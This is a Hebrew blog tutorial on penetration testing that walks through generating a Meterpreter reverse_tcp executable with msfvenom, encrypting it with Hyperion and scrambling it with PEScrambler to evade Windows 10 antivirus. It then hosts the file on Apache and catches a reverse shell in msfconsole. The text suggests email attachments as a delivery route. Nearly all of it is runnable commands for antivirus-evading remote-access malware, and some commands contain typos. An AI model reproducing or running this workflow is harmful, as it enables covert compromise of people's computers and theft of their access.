Home אבטחת מידעPenetration Testing יצירת Payload ע”י Msfvenom ועקיפת אנטי ווירוס ע”י Hyperion וPescrambler

יצירת Payload ע”י Msfvenom ועקיפת אנטי ווירוס ע”י Hyperion וPescrambler

by Tal Ben Shushan 29/09/2018 0 comment
יצירת Payload ע”י Msfvenom ועקיפת אנטי ווירוס ע”י Hyperion וPescrambler

יצירת Payload ע”י Msfvenom ועקיפת אנטי ווירוס ע”י Hyperion וPescrambler

במאמר זה אסביר על אך אנו יכולים ליצור Payload מסוג Meterpreter Reverse_tcp ע”י msfvenom וספציפית ע”י shikata_ga_nai מסוג פולימורפיק Encoder ונסתיר אותו על ידי הצפנה של Hyperion, ומערבל מסוג Pescrambler

כל זה על מנת שאנטי ווירוס לא יזהה את ה Payload, במקרה זה אנו מבצעים את זה על ווינדוס 10, שכן יש לו מערכת אנטי ווירוס (נחשב למתקדם ומזהה את רוב ה Payload)

בצורה זו נוכל לשלוח ע”י מייל, קובץ מצורף או הפעלה שלנו ישירות על המחשב המותקף.

דרישות:

נפעיל את הטרמינל ונקיש

msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=192.168.31.162 LPORT=4444 -i 4 --platdorm windows -b '\x00\x0a\xff' > msfpayload.exe

כעת נשתמש ב Hyperion (אם לכם , הורידו מהאינטרנט)

נעתיק לנתיב של Hyprion את ה msfpayload.exe

cp msfpayload.exe /usr/share/windows-binaries/hyperion/

כעת נצפין את ה Payload בעזרת Hyperion

wine hyperion.exe msfpayload.exe msfpayloadencrypt.exe

כעת נכנס לקישור https://github.com/Veil-Framework/Veil-Evasion

ונוריד את התיקייה כולה

בסיום נוציא מכיווץ התיקייה Downloads

ונשתמש במערבל pesscrambler על מנת לגרום לpayload להיות לא מזוהה לחלוטין על ידי ה אנטי ווירוס

cd Downloads/Veil-Evasion-master/tools/pescrambler

נקיש

wine PEScrambler.exe -i /user/share/windows-binaries/hyperion/msfpayloadencrypt.exe -o msfenscr.exe

כעת נעתיק את הקובץ שנוצר ה msfenscr.exe לנתיב

/var/www/html

נפעיל את msfconsole, נפתח טרמינל חדש

msfconsole

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.31.162

set lport 4444

exploit -j

מפעיל את ה Apache 2

service apache2 start

נחזור למערכת ה Windows 10 ונפעיל את הדפדפן (כרום IE וכו’)

ניגש לכתובת

נוכל להבחין שהאנטי ווירוס לא הבחין ב Payload

בחלון ה msfconsole נבחין שקיבלנו Meterpreter

וקיבלו Meterpreter

מאמרים קשורים

Leave a Comment